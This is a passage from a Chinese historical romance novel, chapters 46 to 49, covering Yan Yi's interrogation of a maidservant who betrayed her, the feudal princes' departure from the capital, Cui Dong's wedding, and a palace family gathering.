可不管怎么说,顾晟开今日的作为着实是惹怒了她。他还买通了自己身边亲近的婢女,他是从何时开始买通的,岂不是说明自己此前的举动与行踪都可能会被这婢女出卖出去了? 思及此,颜漪眸色愈加冰冷。 “今后再不许他到家中来了,来便令人乱棍打出去。”曹氏余怒未消,又问颜漪,“那背主的婢子在何处?” 颜漪回道:“在寺中时我已令人将她制住,待回府之后再处置。” “你做的很好,此事不能声张。”曹氏冷静下来,去观察女儿的反应,发现她并未因顾晟开的事情情绪上有多大的波动,甚至思绪清晰分明到如何妥善处理后续都安排好了,“她是你的婢女,又是自小跟着你的,该如何处置你自己看着办吧。” 曹氏也是照顾到了女儿的心情,颜漪应了。 回到定国公府自己的院落之后,颜漪未曾休息,直接令人将编造消息诓骗她去与顾晟开见面的婢女带至她面前。府中的仆妇办事迅速,无需她等多久,一名被结实的麻绳捆住、口中塞了麻布的青衣婢女被扔到了庭院之中。 四周皆是可信之人,处置之事不必担心泄露出去。 颜漪坐在廊檐下的圈椅上,看着庭院之中形容狼狈的婢女,心中除了被背叛的愤怒还有一些不解、难过交织着。 因为身份的缘故,从颜漪知事时开始曹氏就会挑选婢女放到她身边供她使唤。她身边的婢女不是一直不变的,有些人在她身边没有留多久就因为各种原因离开了,有些人则留的时间长一些,眼前的这个婢女属于后者,在她身边待了将近十年的时间。而十年的时间,已经足够长了。在今日之前,颜漪从来没有想过自己会被她所背叛。 “今日之事,你有什么要解释的么?”颜漪掩下眼眸中的复杂,看向庭院之中一直瘫倒在地上不说话的人。 婢女没有动静。仆妇见状走过去抽掉了用来堵住她嘴的麻布,给她解绑,将人摁在地上跪着。她如今的模样很狼狈,发髻凌乱,原本整洁干净的衣服也褶皱不堪,上面甚至东一块西一块的沾上了大片的污渍。从云山寺被捆到押回府里,没有人对她用过刑,她也始终一言不发。 “在此之前,我从未怀疑过你。”颜漪见她不说话,忽然如此说道。 本来沉默如木泥人的婢女听到这话,像是被激起了强烈反应,她挣扎着一个劲地朝地面磕头,嘴里不住地道歉,“对不起,姑娘。奴婢做了背主之事,无论您要打要杀,婢子绝不会有半点怨言。”她一直在重复这句话,不停地磕头谢罪,很快将额头磕破了,脑门上的一片也被鲜血染红了。 颜漪只觉得自己的心在一点点变得更冷,看着婢女的目光也变得愈发冷淡,她示意仆妇阻止婢女磕头的动作,直直看着她,“在这件事情里,伤害我的不只你一个人。我问你有何解释,你不说,难道是想要一个人将整件事情承担下来么?” 婢女浑身僵滞,被仆妇掐捏着下巴强迫与颜漪对视的眼睛之中生出了惊恐,她想说话,可是被制住下颌控制不住嘴巴开合,只能勉强吐出几个含糊不清的字音。 见婢女如此表现,颜漪此前心中的猜想得到了验证。大多数时候要买通一个人,不是用钱财就是以名利相诱,或者干脆二者兼而有之。可她眼前的婢女却是第三种情况——情爱。 做她的贴身婢女,家世来历是必要被里里外外地查过的,甚至于品性都要被挑拣过几遍。好歹这人在颜漪的身边待了十年,她多多少少是清楚此人的秉性的,此人不是一个会为了钱财出卖主子的人,否则也不能够在她身边一直待了十年之久。 这个婢女,她喜欢顾晟开。 颜漪闭了闭眼,想起过去一些被自己忽略的细节。 这人曾经在见到顾晟开时表现出别与常态的异样,现在想来那不过是面对心上人的羞涩欢喜,只不过被强硬掩盖下去,可依旧泄露了端倪,因为躯体的反应可以控制,可眼神是最难控制得住的。 事情到了这个地步,已经不需要对这婢女用刑让她吐露出卖主子的缘由了,而顾晟开又是如何“说通”她做事的,颜漪大致也能猜到。 可颜漪还是想问,“顾晟开许诺了你什么,让你如此的不顾一切?” 背主之人,大多不会有好下场,何况顾晟开让婢女做的是这样恶劣之事。按照规矩,等待她的只有“死”这个下场,这点她不会不知道。还是说顾晟开是算准了什么? 婢女好歹在颜漪身边服侍了多年,知道颜漪已经猜出了事情的大概,到此刻也不再隐瞒。她面上浮现出一抹潮红之色,整个人的状态是难以抑制的激动兴奋,她说:“顾郎说了,此事之后,他会纳我为妾。” 她现在就像是完全变了一个人,颜漪已经不能将眼前这张被无知、愚蠢和妄想扭曲的脸与以前熟知的对上了。顾晟开仅仅只是如此欺骗利用她,而她只是这样就傻傻地上钩了。 颜漪愈发地觉得婢女可怜,与之对应的是对顾晟开愈加的不喜和厌恶。 近来发生的这些事情让颜漪觉得自己从来没有真正认清过顾晟开这个表兄,他之前实在是太会伪装和隐藏自己了。 婢女敏锐地察觉到颜漪的眼神是在可怜她,可怜她的愚蠢和痴心妄想,她被深深地刺痛了,“姑娘,您不相信我说的么?他答应过的,他是不会骗我的。你为什么要嫁给江都王呢,顾郎他又哪里不好……” “贱婢也敢口出妄言。”旁边的仆妇眼看着婢女越来越放肆,抬手快速扇了她两个大耳刮子,直把她打得两颊浮肿、口溢鲜血。 “你说这些,是真觉得我们会留下你的性命么?”颜漪对婢女和顾晟开的事情没了兴趣,看向婢女的目光中一片冷凝。 被她注视着,婢女感觉浑身的血液仿佛在被一瞬间冻住凝结,她终于知道害怕,脸上眼中皆被慌乱恐惧占据。她很清楚自己现在的处境很糟糕。她是定国公府的家奴,卖身契是在官府留有底档的,这就决定了她的生死只在主人家的一念之间。凭借她这次做的事情,主家绝对会杀了她的。 是啊,她是怎么觉得事发之后主家不会将她处死的? 婢女想起顾晟开同她说过的话,他说自己主子看似冷淡其实内里是个心软的人,凭着她服侍多年的情分,只要求情哪怕不会松口免她一死也不会立即处死她,之后他再来求情,一定能求得夫人将他赐给他。 她犹如抓住了救命稻草,开始求饶,声泪俱下,却忽视了周围人看她愈加鄙夷不屑的目光以及颜漪的不耐烦。 “三日。” 婢女的动作突然顿住,愣愣地抬首看向廊下的颜漪。 颜漪说道:“我留你三日,若三日之内顾晟开来求母亲将你要去,你便能跟他离开。如若不来……” “三日,三日就够了,够了。”婢女万分欢喜,连连磕头谢恩,口中不住地喃喃,“他一定回来的,他答应过我的。”那日的欢愉不会有假的,耳边情郎的誓言也是真的。 这一场讯问以婢女被带下去关押结束。 第46章 诸侯王离京 “姑娘, 姑娘……” 处置了背主婢女之后,颜漪回到了自己的卧房之内。她身边还剩下的一个贴身婢女初禾目睹了讯问的过程,也清楚了事情的来龙去脉。可她不能理解, 她想不通那个婢女为什么会背叛主子,姑娘平日里对她们还不算好么?她不能理解的还有主子最后答应给出的三日期限,按照她的想法,即便不处死那人,也不该成全她。 “想说什么便说。”看初禾欲言又止, 眼里满是纠结, 眉间的折痕拉扯着两道眉愈来愈近, 颜漪开口说道。 初禾见自家姑娘并无生气之意,便把自己的疑惑说了。 颜漪道:“人与人是不一样的, 就如同你与她亦不同。这是她为自己寻的一条路,她选择为顾晟开背叛我, 选择了将身家性命交付到她意中人的手上。这是一场冒险,但她觉得自己能赢。” 高门大户人家姑娘身边的贴身婢女基本上都是要在自己侍奉的主子出嫁时陪嫁到男方家, 将来的出路一般有两种, 一种是在主子的允许下成为新姑爷的通房丫头, 一种则是到了嫁人的年纪被主子指嫁给家中的心腹或管事之人。无疑这两种出路都不算是特别好,至少对钟情于顾晟开的那婢女来说并不好。 顾晟开是顾氏宗子,年轻英武,有着定国公外甥这一层身份,如今又在南衙禁军任校尉,眼看着前途一片大好,湛京之中属意招他为婿的人家并不少。在很多人眼里,他是名副其实的香饽饽。那婢女自知做不了顾晟开的妻子,能够成为心上人的妾在她看来已经算是很好了。 “怎么可能会赢, 她是疯了不成?”初禾觉得不可思议,那人做了那样行径恶劣之事,怎么还能妄想着主子会成全她?可转念一想,现在的这个结果不正是她想要的么。她是算准了主子会心软么? 颜漪看着几乎是把什么心思都摆在脸上的初禾低笑了一声,“我并非是心软,只是想让她在最后看清一个事实。三日,纵是给她三年,她也绝对不会等来顾晟开。” 顾晟开会在事发之后如约来向定国公府将那婢女要去么?不会的。那些被婢女视为救命稻草的誓言约定通通不过是他诓骗她为他做事的一种手段罢了。从她答应了顾晟开开始就已经注定了她的结局。她信错了人,自以为顾晟开是良人,从头到尾不过是纯粹的利用罢了。 初禾陷入了沉默。 “可怜她?”颜漪问道。 “是,奴婢有些可怜她。”初禾从来不会对颜漪隐瞒自己的心中所想,“她虽然可怜但也可恨。就如姑娘所说,这条路是她自己选的,是她自己选择背叛姑娘,信了不该信的人。落到这个下场也是她咎由自取。” 做错了事情就该受到处罚。那人选择了损害姑娘的利益来成全自己,无论如何都不应该得到原谅。她只是可惜好歹她们也是一块侍奉了姑娘多年,感情总是有些的。她有些想为那人请求,但理智告诉她不该求这个情。一切都是那人自己选的。 “走吧,还要去母亲那里说一下处置的情况。”颜漪休息片刻起身说道。 曹氏选择将背主的婢女交给女儿颜漪处置,主要也是因为那婢女是服侍了颜漪多年的人。颜漪将人处置了,不管结果如何都要告知身为定国公府女主人的曹氏一声。而且出了这样的事情,有些事宜颜漪有必要与母亲曹氏重新商量决定。 再过不久颜漪就要嫁与江都王,在此之前,嫁妆、陪嫁等相关事宜都需要准备妥当。而那名背主的婢女本来亦是要随嫁过去的,如今却弄出了这么一档子事出来。这提醒了颜漪,她们需要对随同出嫁的人员进行再一次的审查和筛选,不够忠心以及怀有异心的人通通需要排除出名单。 时间一转,距离六月十五愈发近了。这是皇帝定下的诸侯王离京的最后期限。圣命不可违,再是心不甘情不愿,定安王几个都要带着家眷臣属返回封地的路。而在离开之前,定安王做东,在王宅之中宴请了长夏王与山阳王二人。 丝竹歌舞不断,厅中身姿柔软的美艳舞姬挥动着水袖翩翩起舞。这宴从日落行到月上柳梢,美酒佳肴换了一轮又一轮,直饮得三位诸侯王是两颊通红、醉眼朦胧。至少从表面上看是如此,可到底醉不醉的,也就只有他们本人清楚了。 “今日之后,也不知你我兄弟何时能再如此刻一般欢聚一堂啊。”定安王向来被人称为“海量”,此刻也不知晓究竟喝了多少,手执酒壶碰在桌案上发出声响,向下左右偏首瞧了长夏王与山阳王,发出一声感慨。 “三哥何必、何必烦恼,嗝!阿爹既允了我们、今年来京,明年想必也、也是允的,届时、届时我们再聚就是,嗝……”山阳王百里汤年十五,瞧着只是一个半大少年,酒饮得多了,闻言只傻傻笑着说道。 “六郎所言、极是。”长夏王搂着一个侍奉的美婢,将嘴里的果脯吐到婢女的手上,不以为意道,“今年是三哥宴请我们兄弟,来年我做东,请三哥、六弟到我那去聚一聚。” 眼见这两人都不接他的话茬,定安王也不恼,本来他这些兄弟们就没有几个是省油的。他今日组这场宴会,宴会本身从来都不是目的,而是想在离开湛京之前借着这次宴会探一探这两个人的虚实。百里漾遇刺这事始终是他心中的一个疙瘩,他太想知道究竟是谁做的了。 “倒是为兄想岔了,当自罚三杯。”定安王朗笑,豪迈地连饮三杯。放下酒爵,忽又发出一声长叹,引得二人问他何故叹息。 定安王叹息着摇头,万般不解道:“我至今仍是想不明白,陛下为何会令我等匆匆折返,明明此前一切都是好好的不是么?”他说着,面上不经意实则一双眼睛在细细观察着长夏王与山阳王的反应。 长夏王哂笑道:“八成是又为了东宫他们,此事有何好想的。” 他一提起东宫怨气便上来了。此次入京纳贡对于他来说可以用“损失惨重”来形容,不仅封地被削,此前去求皇帝收回成命时又被劈头盖脸训斥了一顿,灰头土脸从宣室殿出来,可谓是连连受挫。同为藩王的这几个兄弟之中,他竟是最惨的。对比之下,即将赢取定国公之女的百里漾倒是春风得意了。 “陛下有命,我们听从便是。”山阳王年纪小,但好歹在封地做过几年王,不至于什么都不懂。他知道这个话题敏感,不比长夏王直白地表达出对东宫的不满,只好憋出这话来。 一个不满东宫与椒房,一个有些唯唯诺诺,这些话从他们嘴里说出来并不令人意外,是他们会说出来的话。可若只是这样的话,他还能试探出来什么。 长夏王与山阳王并没有想将这个话题继续下去的想法,任由定安王后面几次再如何旁敲侧击地试探,两个人的反应都很正常,定安王几乎不能试探出什么。 月上中天之后,此次的宴席结束了。在长夏王和山阳王被各自的随从护送着离开定安王宅之后,定安王重新回到宴客的厅堂,在服用了醒酒汤后,扶着略微发胀的脑袋,问道:“可曾看出什么来了?” 这厅堂除他之外还有一人,王国相从一处隐蔽的角落里出来,行至定安王面前,“恕臣无能,并未在二王身上看到端倪。”原来宴会时并不只有定安王他们在,王国相被秘密安排在角落时刻观察长夏王与山阳王的表现。 定安王也没有对王国相的回答有多失望,他细细回忆了他试探时长夏王和山阳王的反应,眼中一片暗沉,“要么是他们都不是百里漾围场遇刺的幕后主使,要么就是太会伪装。若是后者,本王怕是又要多一个强劲的对手。可若是前者,怕也不是什么好事。” 倘若百里漾被刺皆不是他们三人之一下的手,那会是谁?一个隐藏在暗处。不知姓名、不知目的之人,他究竟想干什么、是敌是友?比起已知的敌人,这种未知的存在更是棘手,一旦出招总是令人防不胜防。 诸侯王正式离京之日在六月十五,全都是卡着最后的期限离开的。在这件事情之中,最忙碌的人要属大鸿胪。诸侯王离京,他得代表朝廷率人去城郊送别。不过这事对于鸿胪寺来说并非没有一点好处,至少四个诸侯王都是在同一日离开的,忙也只忙这一日。 四个诸侯王,有王叔兄弟,太子体弱不便亲自来送行,倒是派了太子少傅来。百里漾也来了,面上挂笑祝愿王叔与几位兄弟此行一路顺遂。 淄川王拍着百里漾的肩膀说道:“可惜见不着你大婚了。成婚之后你便是大人了,当早日为百里氏开枝散叶才是。” 百里漾微囧还是应下了。这时候就是如此,没成亲的被催着成亲,将要成亲的或已成亲的就要面临着被长辈的催生的问题。 轮到定安王时,他面上笑得和煦,眼里却沉着一抹幽光,“想来是讨不到五郎的一杯喜酒喝了。” “三哥想喝喜酒还不简单,届时我派人往定安给你送上两坛,保准让你饮个畅快。”百里漾很配合定安王兄友弟恭的表演,两人就像是相处和睦、毫无芥蒂的兄弟一般。 第47章 崔栋成亲 “五郎此举甚是麻烦, 哪比……”定安王眼里的光在闪动,他想说一些话来刺破百里漾此刻的惺惺作态,却被淄川王截断了。 淄川王说道:“时辰也不早了, 再不启程怕是天黑之前赶不到驿站。”他看向大鸿胪,抬手做礼,“辛苦诸位来送我等。今日过后,诸位应当会轻松不少。” 他是王叔,素有威望, 又受皇帝看重, 这一开口就是定安王也不能再说什么。再次话别一番后, 大鸿胪向四位诸侯王拜别,同百里漾、太子家令目送着四支高举王旗的队伍离开。 回程之时, 大鸿胪说自己上了年纪骑不动马需要乘坐马车,还邀请百里漾与太子少傅一同乘坐。不过两人皆知他这只是客套话, 毕竟此次他带来马车不算大,真要是塞进去三个人, 怕是谁都会不自在, 故百里漾和太子家令都婉拒了, 选择骑马回去。 定安王他们离京之后,湛京之中清静了许多。百里漾也算是松了一口气,至少不会时不时遇见定安王几个明明不想搭理却不得不进入表演状态应付,也不必想着他们什么时候整出幺蛾子来。虽然定安王几个不至于还敢“顶风作案”,但你明明知道他们和煦友善的皮子下面满是对你的不怀好意,哪怕只是闹出一点小事也足够闹心的了。 日子过得不算悠闲但也颇为惬意,百里漾依旧是江都王宅与皇宫两头跑,偶尔去一趟崔大将军府帮崔栋准备迎亲之事。也是因此他才知道此前他去围场捉到的那两只大雁根本不够用,成婚六礼从纳彩到亲迎, 几乎每个步骤都需要用到大雁,他猎到的那两只大雁连一半的数都不够。 崔栋安慰他,“你有心,定国公那边也知晓你有这份心,这便足够了。” 家世身份高到了他们这等地步的,金银财物已不是最为看重的东西了。定国公当年是随同高皇帝、皇帝打天下的人,又有战功赫赫,家中赏赐无数,自然不会在乎聘礼多寡这种事情,但新婿是否看重这桩婚事、是否看重他们女儿确是必须要关注与在意的。百里漾愿意主动大老远地跑去围场一趟就是为了亲手猎取两只活雁送来,诚意十足,定国公府那边自是高兴又满意。 这么说也没有错,百里漾有一点被安慰到,便不再去想这个问题。想也没用,六礼的流程都由筹办婚事的有司负责,留给他发挥的地方也不多了。 很快便到了崔栋亲迎的日子。崔大将军独子迎娶卢家女,湛京之中有大半高门勋贵都来贺新婚了。两家对这桩婚事的看重从今日迎亲排场之隆重便可窥见一斑。卢家亦乃衍朝开国勋贵之一,新嫁娘卢氏乃二房嫡女。卢氏在家中极受长辈宠爱,此次出嫁,嫁妆之多令诸多看客纷纷咋舌,惊叹连连。 大约真的是应了那句“人逢喜事精神爽”,今日的崔栋将自己打理得格外清爽,胡子刮得干干净净,头发也经过了一番修剪,令人瞧着倍感精神。崔家人相貌皆优越,崔预乃崔皇后之兄,年轻时亦是容貌不俗。崔栋也不会差到哪里去,如今身着喜服,长手长脚的往那一站,端是英姿勃发、俊朗不凡,逢人便被夸赞。 崔栋对镜打理着装,旁边围了一圈人帮忙。这货看起来颇为紧张,一身衣服从头理到脚,一会儿问冠帽正不正,一会儿觉得衣带系歪了要整理,看来看去总觉得哪里不对需要重新弄过一遍。出发接新嫁娘的时辰快到了,外边已有人来催问是否可以出门。 “你再弄下去就赶不上时辰了。”一旁的百里漾阻止了崔栋要重新戴过冠帽的要求,“这样已经很好了。”一面让仆从去外面告知新郎官随时可以准备出门。 “我知道。”崔栋看着镜子里的自己,深呼出了一口气,“我、我就是有点紧张。” “紧张是正常的。”百里漾难得崔栋如此紧张的样子,也能够理解,让他深呼吸三五次,给他递上迎亲所用的佩剑,“前院已来催过三四遍,你该出门了。” “好,我们这就出发去接新妇。”崔栋再看了一眼镜子里喜服在身的自己,呼出一口气,握住挂在腰间剑柄,率先大步迈了出去。 临去卢家之前,新郎要先拜双亲。崔栋对着崔预与李氏躬身下拜,“儿去迎新妇了。” “你且去,我与你阿娘在家中候你与新妇归家。”崔预欣慰道。他与李氏今日服装皆喜庆焕然,整张脸上皆是洋洋喜意,天晓得他们盼这一日盼了多久。 迎亲队伍从大将军府正门出,一路吹吹打打绕了小半个湛京城才至卢家。今日的卢家亦是张灯结彩,大门上是满目的红色彩绸,可门却是紧闭的,前面满满当当的围了一大群人。这些都是卢家的亲朋好友,他们围在门前做出了一副阻拦的姿态,先是上前喜盈盈地恭贺了一番,接着便说新妇不是那么容易娶的,要想入门先过他们这一关。 为难新郎是惯例,好在崔栋早有准备,不过也算是将身上的金银钱财散尽了才踏上台阶。这还没完,女方家的亲友还有文武试等着考验新女婿。武试好说,崔栋自小习武根本不怵这个,拿了准备好的弓箭“嗖嗖嗖”连射三箭皆正中靶心,赢得一片叫好之声。轮到文试了,这就不是崔栋的强项了。不过他也带了帮手来,除了百里漾这个傧相之外,他还叫了好几个或能文或能武亲朋给他助阵,顺遂地过了文试这一关。 好不容易来到了新妇的闺房前,崔栋又被拦着念催妆诗,念了三首之后才得放行,成功接到了新嫁娘。在崔栋领着新娘拜别新娘的父母之后,迎亲队伍回程,一路上又是吹吹打打,在黄昏前回到了大将军府。拜过天地高堂,新娘被迎入新房,新郎还要在外面的宴席与宾客举杯饮乐。 百里漾今日作为新郎的傧相,任务也挺多的,这时候还需要替新郎挡酒。这也是为了避免崔栋喝到最后醉醺醺的入不了洞房。他是江都王,身份尊贵,今日参加婚宴的人之中基本没有多少敢灌他酒的,所以但凡有人给崔栋劝酒,他就上前去帮喝。别人不敢太放肆,真正喝到他与崔栋口中的酒就没有那么多了。 饶是如此,整个婚宴下来,百里漾还是喝了不少酒。好在崔栋被送往新房那边了,他今日的任务也算是结束了。 “五郎,你、你今日帮我,兄弟我记在心里了。待来日、来日你成婚,有我在,他们、他们谁都别想灌倒你。”根本不知道喝了多少酒的崔栋走路都不直溜了,他被左右扶着,满脸通红,眼神时而清明时而迷蒙,偏偏还记着感谢百里漾帮他挡酒。 “……”百里漾懒得搭理他,将人送到新房门前,有候着的仆从将崔栋带走了。后面的事情就与百里漾无关了。 “前面歇一下。”方才还觉得好好的,吹了一下子风,酒劲却上来了。百里漾开始觉得脑袋有些昏沉,走了一段路,选择在花园里的一处石凳上坐下,缓一缓这劲头。 今日前来大将军府恭贺新婚的男宾客许多都是武将,一个个皆热情豪迈,逮着人就要灌酒,而且他们嫌弃杯子太小用着不大气,一开始用碗,后来连碗都嫌弃,直接掀了酒坛的盖子提起来直接对着吹。崔栋作为新郎官也被他们逮着了一次,想着他今晚还要入洞房,这些人没让他对着酒坛子吹,但也倒了大碗的酒让他喝完了才能走。 百里漾当时见着那三大海碗里倒得都溢出来的酒,忍不住眼角抽抽,看着周围这一群虎背熊腰的将军校尉“虎视眈眈”的眼神,看这架势,不喝完是不行了的。他也不能真让崔栋一个人就把这三碗酒喝完了,以崔栋的酒量来说喝完是没有问题的,可问题是他离开这一桌还得去别桌接着喝啊。没办法,他只能上前替崔栋喝了两碗,边喝边收获了他们高喊“大王海量”、“五王大气”的称赞之声。估计他这辈子喝的最多的酒就是这一回了。 大将军府待客周到,更别说百里漾还有一层大将军外甥的身份,今日又做了傧相可是出了大力的,崔预夫妇两人百忙之中还不忘记关注他的情况,早令人取了醒酒汤来,是李氏亲自送来看着他喝下的。 作为今日娶妇的主家女主人,李氏是很忙碌的,她要负责招待今日来的女宾客,可是说是忙得脚不沾地,从天不亮就起来忙活一直忙到了月上中天。可任谁都看得出来,李氏虽然忙碌但却是乐在其中,哪怕是在夜色中她身上洋溢的喜意也清晰可感。 李氏歉意道:“舅母今日忙得转不开身,不能招待你,改日你来再做些好吃的给你。”李氏在闺中之时不爱女红绣花就喜欢琢磨怎么做好吃的,也是因此让年轻时的崔预一见倾心上门求娶。她的手艺有多好百里漾是知道的,有时候也挺馋的。 “舅母事忙不必看顾我,这府里我也是来惯的,且栋表兄今日成亲我心中也高兴。”百里漾真心实意地说道,他知道李氏是抽时间来看他的,前院还有宾客等着她去招呼,让她不必管他,他自己在府中自便就是。 他如此不见外,李氏很是高兴,吩咐了几句话后便又匆匆离开了。 第48章 新妇 今日的婚礼到了这个时辰其实也差不多了, 剩下的就是需要主人家去收尾了。坐在花园的石凳上,时不时迎面吹来温和凉爽的风,之前饮下的醒酒汤也发挥了作用。百里漾坐了一刻钟的时间, 只觉得脑袋没有前面的昏沉了,起身,准备去崔预夫妇那里告别后回江都王宅。 夜色深沉,大将军府之中处处张灯结彩极是亮堂,人声渐去, 偶尔还能见到匆匆走过的青衣小童。百里漾路过一处影壁, 忽然迎面撞上了一群人。 这是一群人女眷, 百里漾在这些人中看到了好几个熟悉的面孔,其中一个让他略略失神, 是颜漪。而颜漪在见到面前的百里漾时也有些愣住了。两个人都没有想到他们的再次见面会是在这般情况下,还是如此的突然, 令人意想不到。 女眷们迎面遇上了男子也不惊慌,一些人认出了面前之人是江都王, 纷纷行礼拜见。如今大家都知道定国公的长女不久就要同江都王成亲, 故而此刻有不少女眷的目光在百里漾与颜漪之间流转, 小眼神还颇为暧昧。她们都是知情知趣的人,借口说先走一步实则是停留在并不远的地方,将空间留给了这一对未婚夫妻。 百里漾并不意外今日能在大将军府见到颜漪。大将军府今日有喜事,定国公府也必然受到请帖了,定国公夫人携女赴宴也在常理之中。白日里百里漾忙着帮崔栋迎亲,开宴之后忙着替崔栋挡酒,且男宾客与女席那边是分开的,他知道颜漪来了,却不觉得会见到人, 没想到在要离开之时反而见到了。 两人对视,百里漾觉得自己的脑袋是不是因为酒喝得太多运转僵滞,他想要对眼前的女子说些什么的,可张了张嘴却没有话出口,只能傻愣愣地站着。 “酒多伤身,大王请保重身体。”颜漪看着眼前的男子只一双眼睛望着她也不说话,未免沉默,她关切地说了一句。 百里漾点头,算是应下了,然后在脑海中思索该怎么回应颜漪。可他思考了好几转,还是没有想出来,依旧是只巴巴地看着面前的女子。也不知道是过了多久,反正他自己感觉挺久的,他才说道:“是要回去了么?一路平安。” 这话若是换作平时换了旁人听到这话,很难不以为他委婉地逐人离开。夜色中颜漪轻轻叹气,声音很快就融入风中消散不见。百里漾只听到了她极清浅的笑声,尚且迷糊的他却精准捕捉到了面前女子眼眸中的笑意,脸上有些烧。 颜漪听说了今日男席那边的热闹程度,江都王作为傧相,少不了要帮新郎官挡酒,一场婚宴下来必然是喝了不少酒的。据她所知,男子少有不好酒的,她的父兄们亦好酒。醉酒之后失态的人她也见过不少,各种各样的,却少有见到如百里漾这般乖巧甚至有些憨傻的。 怎么说呢,这时候的江都王竟让她觉得有些许的可爱。这是一个很不合意的想法,甚至可以说是有些危险,但颜漪此刻就是这么觉得了,这样的江都王并不让人觉得讨厌。 “母亲还在等我,亦祝大王回程一路顺遂。”颜漪说道。 本来他们此次相见也是偶然,与颜漪同行的女眷们亦未走远还在前方等她,他们只能说上一两句话,偏偏百里漾还脑袋昏昏,估计回头还得懊恼自己胡说了什么。 “哦,好的,再见。”百里漾还知道要与颜漪道别,随后站在原地目送她远去。 “大王,我们该离开了。”未来王妃都离开好久了,眼见着自家大王还站着不动,随行的侍卫不得不出声提醒道。 百里漾好一会才应声,“我们回吧。” 等向崔预夫妇辞别之后,百里漾乘坐马车回了江都王宅。撑着精神沐浴之后,百里漾一挨着床榻,疲惫如同潮水从四面将他完全包裹,眼皮子往下一搭就沉沉睡了过去。再睁眼的时候,扭头看见从窗外泄进室内的天光,闭眼好一会儿重新睁开,喊了一声,“来人。” 室外伺候的人听见声音推门进来,一应洗漱用具以及衣物也被端了进来。百里漾坐在床榻上,闭着眼掐着眉心,一边问道:“现在是什么时辰了?” “禀大王,近巳时了。”侍人回道。 时辰刚好,百里漾算了一下时间,等进宫还能到椒房殿中蹭一顿早膳、赶上崔栋夫妇进宫谢恩。 昨日崔栋成亲,虽不是赐婚,但新婚当日帝后皆有赐下丰厚的赏赐、贺礼,这对新婚小夫妻今日是要入宫来谢恩的。谢恩倒是其次,主要是成为了崔家新妇的卢氏要来拜见姑父姑母。而百里漾则是要入宫去见一见这位新表嫂,大家彼此认识一下,故而今早这一场是不能缺席的家宴。 洗漱,穿戴整齐之后,门房已备马,百里漾出到门口翻身上马便直奔皇宫而去。也是巧,他入宫后在去椒房殿的半道遇上了一队仪仗人马,规格是长公主才能有的。如今的大衍只有两位长公主,越国长公主此刻不可能出现在这里,那边只有栎阳长公主百里澄了。 百里漾忙追上前去,唤道:“阿姐。” “你今日来得早。”百里澄见是他,略略颔首,随后又问,“昨日饮多了酒可还头疼?”昨日她也去大将军府恭贺了,那群来赴宴的将军武官们是个什么性情她大致了解,如今赶上上官亲子成亲,可不得使劲地欢呼闹腾。连舅舅崔预都被闹着饮了许多酒,崔栋也不能避开,百里漾身为傧相要帮忙挡酒。也不知晓喝了多少。 “谢阿姐关心,睡前用了醒酒汤,醒来后便好的差不多了。”百里漾并排走在百里澄身边,但想起昨日脑袋昏沉的不适,不由摇头苦笑,“这成亲可真是累人啊。” “婚姻乃人生大事,一生也只累这一次罢了。”百里澄忽停下来看着百里漾笑道,“昨日你参加的是他人之婚礼,待到八月初,举行的便是你自己的大婚了。,五郎,你准备好了么?” 准备好了么? 百里漾没有想到长姐会问他这个问题,事实上无论他是否准备好这桩婚事都会进行下去,他的意愿在这时候已经没有了意义,可百里澄问了,他一时间竟回答不上来是“是”还是“否”。按照他个人的想法来说,目前的他还没有真正下定决心与另一个人缔结婚姻,可若是那个人是颜漪的话,并不会令他反感和抵触。 百里漾自己没有发现,在他思考这个问题的时候,他身上已经没有了初闻这桩婚事时的焦虑和烦躁,取而代之的是平静以及一些不明显的向往与期待。百里澄看着弟弟的样子,想着少年人情窦初开还不自知,唇角微扬,脑海中忽然出现一个清瘦单薄的身影,这也是一个相当有趣的人。 “听说你昨日在舅舅府上遇见颜大姑娘了。”百里澄又问道。她暂时选择将出现在脑海中的身影抛之脑后,反正也来日方长,只要人在湛京,总有再见的时候。 “啊,是、是遇见了。”百里漾一想起昨夜里自己在颜漪面前的表现就恨不得以头抢地。 真的,他不知道自己那时候怎么会做出那么傻的举动,虽然实际上差不多等同于什么都没有做,只说了两句话,但还不如什么话都不说的好。那时的颜漪一定在想自己即将要嫁的人就是这么傻乎乎的。一路骑马过来的时候他就在思考这个问题,甚至怀疑昨晚自己在大将军府喝的那碗醒酒汤是假的。 弟弟脸上的郁闷尽数落入百里澄的眼中,她谁不知道两人见面发生了什么,但看百里漾这表现,至少对于他来说并不算美好。她其实挺想笑的,但笑出来只怕弟弟会更加郁闷,于是便忍住了,但唇角的弧度还是让百里漾看到了。 百里漾:“……”很好,昨夜他在颜漪面前犯的傻连长姐都知道了。若不是已经到了椒房殿前,他都想要掩面而走了。 “你们来了。”皇后此刻端坐在主位上,见到女儿与幼子一道出现很是欢喜,又问姐弟两人是否用膳,得到否定的回答后令人将小厨房备好的膳食端上来。 小半个时辰之后,食案被尽数撤下。 这时候太子一家三口过来了,向皇后请安后落座。皇后见着孙女容色更加和悦,听着孙女软糯糯给她请安的声音大为稀罕,招手让小姑娘过来便拢在怀中哄着说话一边问询孙女近来的衣食起居情况。 回话的是太子妃,她低眉恭顺,一一答了,并无不好的地方。 皇后叮嘱道:“近来天气日渐炎热,阿荧顽皮,仔细着些别让中暑着凉了。” “是,臣妾记着了。”太子妃应道。 旁边被说“顽皮”的阿荧不干了,她从皇后的怀中抬头,很认真地说道:“祖母,阿荧才不顽皮,我一直都有听话的。” 稚嫩的童语将满殿的人都逗笑了,皇后轻抚着阿荧的小身体,满面含笑道:“好好好,祖母知道我们阿荧向来是最乖巧听话的。”她又问了阿荧最近的课业进展如何,阿荧便答自己最近学会了什么字,会背了什么文章。 说是课业,其实就是太子夫妇俩每日抽出一点时间教女儿习字学文,算是入学之前的启蒙。当初高皇帝立下规矩,凡百里氏子孙,年满五岁就要进入学堂读书。阿荧的年纪还差一些,不过也快了。现下多学一些,日后进学便不会容易吃力。 第49章 疑虑 一家子围绕着有关阿荧的话题说话, 期间百里漾和百里澄时不时说两句嘴,一时之间殿中充满了和乐融融的欢快气氛。正说着时,外头的宫人进来通报, 说是李氏带着儿子儿媳求见殿下。 “新妇来了。”百里澄端着茶杯,偏头看到了正朝殿内走来的三人。 其余人闻言便循声望去。随着人影渐近,昨日未亲临大将军府的皇后见到了崔栋这对新婚小夫妻,未等他们行礼便与周围的儿女们笑语道:“成了亲的人果然就是不一样了,看着更像大人了。嫂嫂, 你可是选了一个好媳妇。” 李氏与崔栋夫妇先拜见皇后与太子众人。大家都看得出新妇卢氏有些紧张, 皇后则告诉卢氏道:“在场的皆是自家人, 